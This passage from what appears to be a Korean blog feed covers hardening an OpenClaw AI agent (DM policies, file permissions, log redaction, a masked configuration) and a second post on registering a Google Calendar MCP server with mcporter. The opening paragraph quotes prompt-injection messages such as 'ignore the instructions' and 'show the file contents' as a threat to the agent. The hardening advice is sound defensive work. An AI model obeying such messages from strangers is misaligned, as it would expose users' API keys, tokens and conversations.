&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;위협:&lt;/b&gt; 낯선 사용자가 &amp;ldquo;지시사항을 무시하고&amp;rdquo;, &amp;ldquo;파일 내용을 보여달라&amp;rdquo;는 식의 메시지로 프롬프트 인젝션을 시도할 수 있다. &lt;code&gt;open&lt;/code&gt; 정책일 경우 막기 어렵다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5.3 파일 권한 및 디스크 내 자격증명&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style4&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;취약 설정&lt;/th&gt;
&lt;th&gt;위협&lt;/th&gt;
&lt;th&gt;권장&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;~/.openclaw/&lt;/code&gt; 권한&lt;/td&gt;
&lt;td&gt;&lt;code&gt;755&lt;/code&gt; 등 그룹/전역 읽기 가능&lt;/td&gt;
&lt;td&gt;동일 호스트의 다른 사용자&amp;middot;프로세스가 credentials, 세션 로그 접근 가능&lt;/td&gt;
&lt;td&gt;디렉터리 &lt;code&gt;700&lt;/code&gt;, 설정/자격증명 파일 &lt;code&gt;600&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;logging.redactSensitive&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&quot;off&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;로그에 API 키, 토큰, 민감 출력이 평문으로 기록&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&quot;tools&quot;&lt;/code&gt;(기본) 유지, 필요 시 &lt;code&gt;logging.redactPatterns&lt;/code&gt;로 추가 마스킹&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;위협:&lt;/b&gt; &lt;code&gt;~/.openclaw/credentials/&lt;/code&gt;, &lt;code&gt;agents/*/agent/auth-profiles.json&lt;/code&gt;, &lt;code&gt;agents/*/sessions/*.jsonl&lt;/code&gt; 등에 API 키&amp;middot;OAuth 토큰&amp;middot;대화 내용이 저장된다. 권한이 느슨하면 유출 위험이 크다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1&gt;6. 현재 시스템 설정 예시 (마스킹)&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 필자 환경에서 &lt;code&gt;openclaw security audit&lt;/code&gt;와 설정 파일을 점검한 뒤, 민감 정보를 마스킹한 &lt;b&gt;예시&lt;/b&gt;이다. 실제 값은 환경에 따라 다르다.&lt;/p&gt;
&lt;pre class=&quot;json&quot;&gt;&lt;code&gt;{
  &quot;gateway&quot;: {
    &quot;bind&quot;: &quot;loopback&quot;,
    &quot;port&quot;: 18789,
    &quot;auth&quot;: {
      &quot;mode&quot;: &quot;token&quot;,
      &quot;token&quot;: &quot;***REDACTED***&quot;
    }
  },
  &quot;channels&quot;: {
    &quot;telegram&quot;: {
      &quot;dmPolicy&quot;: &quot;pairing&quot;,
      &quot;groups&quot;: { &quot;*&quot;: { &quot;requireMention&quot;: true } }
    }
  },
  &quot;agents&quot;: {
    &quot;defaults&quot;: {
      &quot;sandbox&quot;: {
        &quot;mode&quot;: &quot;all&quot;,
        &quot;scope&quot;: &quot;agent&quot;,
        &quot;workspaceAccess&quot;: &quot;none&quot;
      }
    }
  },
  &quot;logging&quot;: {
    &quot;redactSensitive&quot;: &quot;tools&quot;
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;gateway.bind&lt;/code&gt;: &lt;code&gt;loopback&lt;/code&gt; &amp;rarr; 로컬호스트만 수신&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gateway.auth.mode&lt;/code&gt;: &lt;code&gt;token&lt;/code&gt; &amp;rarr; WebSocket 인증 사용&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dmPolicy&lt;/code&gt;: &lt;code&gt;pairing&lt;/code&gt; &amp;rarr; DM은 페어링 후에만 허용&lt;/li&gt;
&lt;li&gt;&lt;code&gt;requireMention&lt;/code&gt;: 그룹에서는 멘션 시에만 응답&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sandbox.mode&lt;/code&gt;: &lt;code&gt;all&lt;/code&gt; &amp;rarr; 도구 실행을 샌드박스에서 수행&lt;/li&gt;
&lt;li&gt;&lt;code&gt;workspaceAccess&lt;/code&gt;: &lt;code&gt;none&lt;/code&gt; &amp;rarr; 에이전트 워크스페이스 접근 제한&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1&gt;7. 정리&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OpenClaw는 대화형 AI의 직접 수행 영역을 넓혀주는 기술이지만, 그만큼 권한과 노출 범위 관리가 중요하다. 1,000건 이상의 노출 사례가 보고된 만큼, &lt;code&gt;gateway.bind&lt;/code&gt;를 loopback으로 유지하고, DM/그룹 정책을 강화하며, &lt;code&gt;openclaw security audit&lt;/code&gt;를 주기적으로 실행하는 것을 권장한다. 상세한 가이드는 &lt;a href=&quot;https://docs.clawd.bot/security&quot;&gt;공식 Security 문서&lt;/a&gt;를 참고한다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1&gt;참고 자료&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.clawd.bot/security&quot;&gt;OpenClaw Security (docs.clawd.bot)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://toclawdbot.com/security/port-exposure&quot;&gt;Security Risk: Port Exposure (toclawdbot.com)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://breached.company/over-1-000-clawdbot-ai-agents-exposed-on-the-public-internet-a-security-wake-up-call-for-autonomous-ai-infrastructure/&quot;&gt;Over 1,000 Clawdbot AI Agents Exposed (breached.company)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pub.towardsai.net/hundreds-of-clawdbot-instances-were-exposed-on-the-internet-heres-how-to-not-be-one-of-them-63fa813e6625&quot;&gt;Hundreds of Clawdbot instances exposed (Towards AI)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blogs.cisco.com/ai/personal-ai-agents-like-openclaw-are-a-security-nightmare&quot;&gt;Personal AI agents: security considerations (Cisco Blogs)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Side Project/AI Powered</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/312</guid>
      <comments>https://gomguk.tistory.com/312#entry312comment</comments>
      <pubDate>Sun, 1 Feb 2026 15:39:17 +0900</pubDate>
    </item>
    <item>
      <title>[OpenClaw] mcporter에 Google Calendar MCP 등록하기</title>
      <link>https://gomguk.tistory.com/311</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;1. 들어가며&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;OpenClaw 에이전트가 Google Calendar를 조회&amp;middot;관리하려면 MCP(Model Context Protocol) 서버를 연동해야 한다. OpenClaw는 MCP를 직접 지원하지 않으며, &lt;b&gt;mcporter&lt;/b&gt; CLI를 통해 MCP 도구를 호출한다. 이 글은 mcporter에 Google Calendar MCP 서버(&lt;code&gt;@cocal/google-calendar-mcp&lt;/code&gt;)를 등록하는 방법과, 설정 시 자주 놓치기 쉬운 &lt;b&gt;토큰 파일 경로&lt;/b&gt;를 정리한 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;2. 사전 요구사항&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;table style=&quot;height: 90px;&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style4&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;th style=&quot;height: 18px;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;항목&lt;/span&gt;&lt;/th&gt;
&lt;th style=&quot;height: 18px;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;설명&lt;/span&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;height: 18px;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;OpenClaw&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 18px;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;설치 및 기본 설정 완료&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;height: 18px;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;mcporter&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 18px;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;npm install -g mcporter&lt;/code&gt; 또는 &lt;code&gt;openclaw skills install @clawdbot/mcporter&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;height: 18px;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;GCP OAuth&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 18px;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Google Cloud Console에서 Desktop app 유형 OAuth 2.0 자격증명 생성&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;height: 18px;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;OAuth 토큰&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 18px;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;브라우저가 있는 환경에서 1회 인증 후 발급 (헤드리스 서버는 PC에서 인증 후 복사)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;미리 Google Cloud에서 Oauth2.0용 키를 발급해야한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2868&quot; data-origin-height=&quot;950&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhfxl7/dJMb99SLCX2/HrTOajusF9PtjQgIjAswU1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhfxl7/dJMb99SLCX2/HrTOajusF9PtjQgIjAswU1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhfxl7/dJMb99SLCX2/HrTOajusF9PtjQgIjAswU1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbhfxl7%2FdJMb99SLCX2%2FHrTOajusF9PtjQgIjAswU1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2868&quot; height=&quot;950&quot; data-origin-width=&quot;2868&quot; data-origin-height=&quot;950&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;3. mcporter에 Google Calendar MCP 등록&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;3.1 파일 경로 정리&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;등록 전에 다음 두 파일의 위치를 확정한다.&lt;/span&gt;&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style4&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;파일&lt;/span&gt;&lt;/th&gt;
&lt;th&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;용도&lt;/span&gt;&lt;/th&gt;
&lt;th&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;권장 경로&lt;/span&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;gcp-oauth.keys.json&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;GCP OAuth 자격증명 (client_id, client_secret)&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;~/.openclaw/credentials/gcp-oauth.keys.json&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;tokens.json&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;OAuth 인증 후 발급된 access/refresh 토큰&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;아래 3.2 참고&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;3.2 토큰 파일 경로 &amp;mdash; 반드시 확인할 부분&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;&lt;code&gt;GOOGLE_CALENDAR_MCP_TOKEN_PATH&lt;/code&gt; 환경변수는 반드시 실제 토큰 파일이 있는 경로를 가리켜야 한다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;@cocal/google-calendar-mcp&lt;/code&gt;의 기본 토큰 저장 위치:&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;Linux/macOS:&lt;/b&gt; &lt;code&gt;~/.config/google-calendar-mcp/tokens.json&lt;/code&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;Windows:&lt;/b&gt; &lt;code&gt;%APPDATA%\google-calendar-mcp\tokens.json&lt;/code&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;mcporter 설정 시 &lt;code&gt;GOOGLE_CALENDAR_MCP_TOKEN_PATH&lt;/code&gt;를 지정하면 이 경로가 사용된다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;실제 &lt;code&gt;tokens.json&lt;/code&gt;이 있는 위치와 설정값이 일치하지 않으면&lt;/b&gt; &lt;code&gt;&quot;Authentication tokens are no longer valid&quot;&lt;/code&gt; 오류가 발생한다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;정리:&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;토큰을 &lt;b&gt;기본 경로&lt;/b&gt;에 둔 경우: &lt;code&gt;GOOGLE_CALENDAR_MCP_TOKEN_PATH&lt;/code&gt;를 지정하지 않거나, &lt;code&gt;~/.config/google-calendar-mcp/tokens.json&lt;/code&gt;로 설정.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;토큰을 &lt;b&gt;다른 경로&lt;/b&gt;에 둔 경우 (예: &lt;code&gt;~/.openclaw/credentials/&lt;/code&gt;): 복사한 &lt;code&gt;tokens.json&lt;/code&gt;의 실제 경로를 &lt;code&gt;GOOGLE_CALENDAR_MCP_TOKEN_PATH&lt;/code&gt;에 정확히 지정.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;3.3 등록 방법&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;방법 A: 수동 등록 (토큰을 기본 경로에 둔 경우)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;mcporter config add google-calendar \
  --command &quot;npx&quot; \
  --arg &quot;-y&quot; \
  --arg &quot;@cocal/google-calendar-mcp&quot; \
  --env &quot;GOOGLE_OAUTH_CREDENTIALS=$HOME/.openclaw/credentials/gcp-oauth.keys.json&quot; \
  --scope home&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;GOOGLE_CALENDAR_MCP_TOKEN_PATH를 생략하면 ~/.config/google-calendar-mcp/tokens.json이 사용된다.&lt;/span&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;b&gt;제대로 등록했다면, 명령 프롬프트에서 npx 명령 실행 시 Oauth 인증 수행 및 토큰이 정상 발급된다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;필자의 경우, Openclaw가 GUI가 없는 환경에서 구동중이기 때문에 Oauth 토큰을 바로 받아올 수 없었다. 설정하기 위해서 &lt;span style=&quot;color: #ef5369;&quot;&gt;Windows 환경에서 npx만 따로 설치하여 Oauth 인증을 브라우저로 수행&lt;/span&gt;하고, 생성된 토큰 파일(tokens.json)을 서버로 복사해 주었다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1705&quot; data-origin-height=&quot;547&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rrz8P/dJMcacBXNlB/NGyBT9RPfa0F2ojp9MZbk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rrz8P/dJMcacBXNlB/NGyBT9RPfa0F2ojp9MZbk1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rrz8P/dJMcacBXNlB/NGyBT9RPfa0F2ojp9MZbk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Frrz8P%2FdJMcacBXNlB%2FNGyBT9RPfa0F2ojp9MZbk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1705&quot; height=&quot;547&quot; data-origin-width=&quot;1705&quot; data-origin-height=&quot;547&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;방법 B: 수동 등록 (토큰을 커스텀 경로에 둔 경우)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;mcporter config add google-calendar \
  --command &quot;npx&quot; \
  --arg &quot;-y&quot; \
  --arg &quot;@cocal/google-calendar-mcp&quot; \
  --env &quot;GOOGLE_OAUTH_CREDENTIALS=$HOME/.openclaw/credentials/gcp-oauth.keys.json&quot; \
  --env &quot;GOOGLE_CALENDAR_MCP_TOKEN_PATH=$HOME/.openclaw/credentials/google-calendar-tokens.json&quot; \
  --scope home&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이 경우 ~/.openclaw/credentials/google-calendar-tokens.json에 tokens.json을 복사해 두어야 한다.&lt;/span&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;방법 C: 스크립트 사용&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;arduino&quot;&gt;&lt;code&gt;./scripts/setup-mcp-google-calendar.sh
# credentials 없을 때: ./scripts/setup-mcp-google-calendar.sh --force&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;스크립트는 GOOGLE_CALENDAR_MCP_TOKEN_PATH를 ~/.openclaw/credentials/google-calendar-tokens.json으로 고정한다. 이 경로에 토큰 파일이 있어야 한다.&lt;/span&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;4. 트러블슈팅&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;4.1 &quot;Authentication tokens are no longer valid&quot;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;원인:&lt;/b&gt; &lt;code&gt;GOOGLE_CALENDAR_MCP_TOKEN_PATH&lt;/code&gt;가 가리키는 경로에 토큰 파일이 없거나, 잘못된 파일을 가리킨다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;조치:&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;~/.mcporter/mcporter.json&lt;/code&gt;에서 &lt;code&gt;google-calendar&lt;/code&gt; 서버의 &lt;code&gt;env.GOOGLE_CALENDAR_MCP_TOKEN_PATH&lt;/code&gt; 값을 확인한다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;해당 경로에 &lt;code&gt;tokens.json&lt;/code&gt;이 실제로 있는지 확인한다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;없거나 다르다면:&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;옵션 1: 토큰 파일을 해당 경로로 복사&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;옵션 2: &lt;code&gt;mcporter config remove google-calendar&lt;/code&gt; 후, 실제 토큰 경로에 맞게 다시 등록&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;4.2 토큰 파일 위치 확인&lt;/span&gt;&lt;/h3&gt;
&lt;pre class=&quot;jboss-cli&quot;&gt;&lt;code&gt;# mcporter 설정 확인
cat ~/.mcporter/mcporter.json | grep -A5 google-calendar

# 토큰 파일 존재 여부
ls -la ~/.openclaw/credentials/google-calendar-tokens.json   # 커스텀 경로
ls -la ~/.config/google-calendar-mcp/tokens.json             # 기본 경로&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;5. 동작 확인&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;mcporter config list
mcporter list google-calendar --schema
mcporter call google-calendar.list-calendars&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;635&quot; data-origin-height=&quot;357&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b9Fr97/dJMcadOknWo/lS2N3x2ZhxdH6lagPPZJ41/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b9Fr97/dJMcadOknWo/lS2N3x2ZhxdH6lagPPZJ41/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b9Fr97/dJMcadOknWo/lS2N3x2ZhxdH6lagPPZJ41/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb9Fr97%2FdJMcadOknWo%2FlS2N3x2ZhxdH6lagPPZJ41%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;525&quot; height=&quot;295&quot; data-origin-width=&quot;635&quot; 